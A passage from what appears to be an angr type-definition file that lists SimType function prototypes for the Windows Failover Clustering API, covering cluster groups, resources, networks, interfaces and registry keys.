'OfflineClusterResourceEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Byte"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResource", "dwOfflineFlags", "lpInBuffer", "cbInBufferSize"]), # 'MoveClusterGroupEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Byte"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroup", "hDestinationNode", "dwMoveFlags", "lpInBuffer", "cbInBufferSize"]), # 'CancelClusterGroupOperation': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroup", "dwCancelFlags_RESERVED"]), # 'RestartClusterResource': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResource", "dwFlags"]), # 'CloseClusterGroup': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hGroup"]), # 'GetClusterFromGroup': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0)], SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), arg_names=["hGroup"]), # 'GetClusterGroupState': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="CLUSTER_GROUP_STATE"), arg_names=["hGroup", "lpszNodeName", "lpcchNodeName"]), # 'SetClusterGroupName': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroup", "lpszGroupName"]), # 'SetClusterGroupNodeList': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0), label="LPArray", offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroup", "NodeCount", "NodeList"]), # 'OnlineClusterGroup': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroup", "hDestinationNode"]), # 'MoveClusterGroup': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroup", "hDestinationNode"]), # 'OfflineClusterGroup': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroup"]), # 'DeleteClusterGroup': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroup"]), # 'DestroyClusterGroup': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroup"]), # 'ClusterGroupOpenEnum': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypePointer(SimStruct({}, name="_HGROUPENUM", pack=False, align=None), offset=0), arg_names=["hGroup", "dwType"]), # 'ClusterGroupGetEnumCount': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUPENUM", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroupEnum"]), # 'ClusterGroupEnum': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUPENUM", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeChar(label="Char"), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroupEnum", "dwIndex", "lpdwType", "lpszResourceName", "lpcchName"]), # 'ClusterGroupCloseEnum': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUPENUM", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroupEnum"]), # 'CreateClusterResource': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0), arg_names=["hGroup", "lpszResourceName", "lpszResourceType", "dwFlags"]), # 'OpenClusterResource': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0), arg_names=["hCluster", "lpszResourceName"]), # 'OpenClusterResourceEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0), arg_names=["hCluster", "lpszResourceName", "dwDesiredAccess", "lpdwGrantedAccess"]), # 'CloseClusterResource': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hResource"]), # 'GetClusterFromResource': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0)], SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), arg_names=["hResource"]), # 'DeleteClusterResource': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResource"]), # 'GetClusterResourceState': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeChar(label="Char"), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="CLUSTER_RESOURCE_STATE"), arg_names=["hResource", "lpszNodeName", "lpcchNodeName", "lpszGroupName", "lpcchGroupName"]), # 'SetClusterResourceName': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResource", "lpszResourceName"]), # 'FailClusterResource': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResource"]), # 'OnlineClusterResource': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResource"]), # 'OfflineClusterResource': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResource"]), # 'ChangeClusterResourceGroup': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResource", "hGroup"]), # 'ChangeClusterResourceGroupEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0), SimTypeLongLong(signed=False, label="UInt64")], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResource", "hGroup", "Flags"]), # 'AddClusterResourceNode': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResource", "hNode"]), # 'RemoveClusterResourceNode': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResource", "hNode"]), # 'AddClusterResourceDependency': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResource", "hDependsOn"]), # 'RemoveClusterResourceDependency': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResource", "hDependsOn"]), # 'SetClusterResourceDependencyExpression': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResource", "lpszDependencyExpression"]), # 'GetClusterResourceDependencyExpression': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResource", "lpszDependencyExpression", "lpcchDependencyExpression"]), # 'AddResourceToClusterSharedVolumes': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResource"]), # 'RemoveResourceFromClusterSharedVolumes': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResource"]), # 'IsFileOnClusterSharedVolume': SimTypeFunction([SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypeInt(signed=True, label="Int32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["lpszPathName", "pbFileIsOnSharedVolume"]), # 'ClusterSharedVolumeSetSnapshotState': SimTypeFunction([SimTypeBottom(label="Guid"), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="CLUSTER_SHARED_VOLUME_SNAPSHOT_STATE")], SimTypeInt(signed=False, label="UInt32"), arg_names=["guidSnapshotSet", "lpszVolumeName", "state"]), # 'CanResourceBeDependent': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hResource", "hResourceDependent"]), # 'ClusterResourceControl': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResource", "hHostNode", "dwControlCode", "lpInBuffer", "cbInBufferSize", "lpOutBuffer", "cbOutBufferSize", "lpBytesReturned"]), # 'ClusterResourceControlAsUser': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResource", "hHostNode", "dwControlCode", "lpInBuffer", "cbInBufferSize", "lpOutBuffer", "cbOutBufferSize", "lpBytesReturned"]), # 'ClusterResourceTypeControl': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hCluster", "lpszResourceTypeName", "hHostNode", "dwControlCode", "lpInBuffer", "nInBufferSize", "lpOutBuffer", "nOutBufferSize", "lpBytesReturned"]), # 'ClusterResourceTypeControlAsUser': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hCluster", "lpszResourceTypeName", "hHostNode", "dwControlCode", "lpInBuffer", "nInBufferSize", "lpOutBuffer", "nOutBufferSize", "lpBytesReturned"]), # 'ClusterGroupControl': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hGroup", "hHostNode", "dwControlCode", "lpInBuffer", "nInBufferSize", "lpOutBuffer", "nOutBufferSize", "lpBytesReturned"]), # 'ClusterNodeControl': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hNode", "hHostNode", "dwControlCode", "lpInBuffer", "nInBufferSize", "lpOutBuffer", "nOutBufferSize", "lpBytesReturned"]), # 'GetClusterResourceNetworkName': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hResource", "lpBuffer", "nSize"]), # 'ClusterResourceOpenEnum': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypePointer(SimStruct({}, name="_HRESENUM", pack=False, align=None), offset=0), arg_names=["hResource", "dwType"]), # 'ClusterResourceGetEnumCount': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESENUM", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResEnum"]), # 'ClusterResourceEnum': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESENUM", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeChar(label="Char"), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResEnum", "dwIndex", "lpdwType", "lpszName", "lpcchName"]), # 'ClusterResourceCloseEnum': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESENUM", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResEnum"]), # 'CreateClusterResourceType': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["hCluster", "lpszResourceTypeName", "lpszDisplayName", "lpszResourceTypeDll", "dwLooksAlivePollInterval", "dwIsAlivePollInterval"]), # 'DeleteClusterResourceType': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hCluster", "lpszResourceTypeName"]), # 'ClusterResourceTypeOpenEnum': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypePointer(SimStruct({}, name="_HRESTYPEENUM", pack=False, align=None), offset=0), arg_names=["hCluster", "lpszResourceTypeName", "dwType"]), # 'ClusterResourceTypeGetEnumCount': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESTYPEENUM", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResTypeEnum"]), # 'ClusterResourceTypeEnum': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESTYPEENUM", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeChar(label="Char"), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResTypeEnum", "dwIndex", "lpdwType", "lpszName", "lpcchName"]), # 'ClusterResourceTypeCloseEnum': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESTYPEENUM", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hResTypeEnum"]), # 'OpenClusterNetwork': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypePointer(SimStruct({}, name="_HNETWORK", pack=False, align=None), offset=0), arg_names=["hCluster", "lpszNetworkName"]), # 'OpenClusterNetworkEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypePointer(SimStruct({}, name="_HNETWORK", pack=False, align=None), offset=0), arg_names=["hCluster", "lpszNetworkName", "dwDesiredAccess", "lpdwGrantedAccess"]), # 'CloseClusterNetwork': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNETWORK", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hNetwork"]), # 'GetClusterFromNetwork': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNETWORK", pack=False, align=None), offset=0)], SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), arg_names=["hNetwork"]), # 'ClusterNetworkOpenEnum': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNETWORK", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypePointer(SimStruct({}, name="_HNETWORKENUM", pack=False, align=None), offset=0), arg_names=["hNetwork", "dwType"]), # 'ClusterNetworkGetEnumCount': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNETWORKENUM", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hNetworkEnum"]), # 'ClusterNetworkEnum': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNETWORKENUM", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeChar(label="Char"), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hNetworkEnum", "dwIndex", "lpdwType", "lpszName", "lpcchName"]), # 'ClusterNetworkCloseEnum': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNETWORKENUM", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hNetworkEnum"]), # 'GetClusterNetworkState': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNETWORK", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="CLUSTER_NETWORK_STATE"), arg_names=["hNetwork"]), # 'SetClusterNetworkName': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNETWORK", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hNetwork", "lpszName"]), # 'GetClusterNetworkId': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNETWORK", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hNetwork", "lpszNetworkId", "lpcchName"]), # 'ClusterNetworkControl': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNETWORK", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hNetwork", "hHostNode", "dwControlCode", "lpInBuffer", "nInBufferSize", "lpOutBuffer", "nOutBufferSize", "lpBytesReturned"]), # 'OpenClusterNetInterface': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypePointer(SimStruct({}, name="_HNETINTERFACE", pack=False, align=None), offset=0), arg_names=["hCluster", "lpszInterfaceName"]), # 'OpenClusterNetInterfaceEx': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypePointer(SimStruct({}, name="_HNETINTERFACE", pack=False, align=None), offset=0), arg_names=["hCluster", "lpszInterfaceName", "dwDesiredAccess", "lpdwGrantedAccess"]), # 'GetClusterNetInterface': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypeChar(label="Char"), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hCluster", "lpszNodeName", "lpszNetworkName", "lpszInterfaceName", "lpcchInterfaceName"]), # 'CloseClusterNetInterface': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNETINTERFACE", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hNetInterface"]), # 'GetClusterFromNetInterface': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNETINTERFACE", pack=False, align=None), offset=0)], SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), arg_names=["hNetInterface"]), # 'GetClusterNetInterfaceState': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNETINTERFACE", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="CLUSTER_NETINTERFACE_STATE"), arg_names=["hNetInterface"]), # 'ClusterNetInterfaceControl': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNETINTERFACE", pack=False, align=None), offset=0), SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hNetInterface", "hHostNode", "dwControlCode", "lpInBuffer", "nInBufferSize", "lpOutBuffer", "nOutBufferSize", "lpBytesReturned"]), # 'GetClusterKey': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HCLUSTER", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), arg_names=["hCluster", "samDesired"]), # 'GetClusterGroupKey': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HGROUP", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), arg_names=["hGroup", "samDesired"]), # 'GetClusterResourceKey': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HRESOURCE", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), arg_names=["hResource", "samDesired"]), # 'GetClusterNodeKey': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNODE", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), arg_names=["hNode", "samDesired"]), # 'GetClusterNetworkKey': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNETWORK", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), arg_names=["hNetwork", "samDesired"]), # 'GetClusterNetInterfaceKey': SimTypeFunction([SimTypePointer(SimStruct({}, name="_HNETINTERFACE", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), arg_names=["hNetInterface", "samDesired"]), # 'ClusterRegCreateKey': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"nLength": SimTypeInt(signed=False, label="UInt32"), "lpSecurityDescriptor": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "bInheritHandle": SimTypeInt(signed=True, label="Int32")}, name="SECURITY_ATTRIBUTES", pack=False, align=None), offset=0), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hKey", "lpszSubKey", "dwOptions", "samDesired", "lpSecurityAttributes", "phkResult", "lpdwDisposition"]), # 'ClusterRegOpenKey': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), 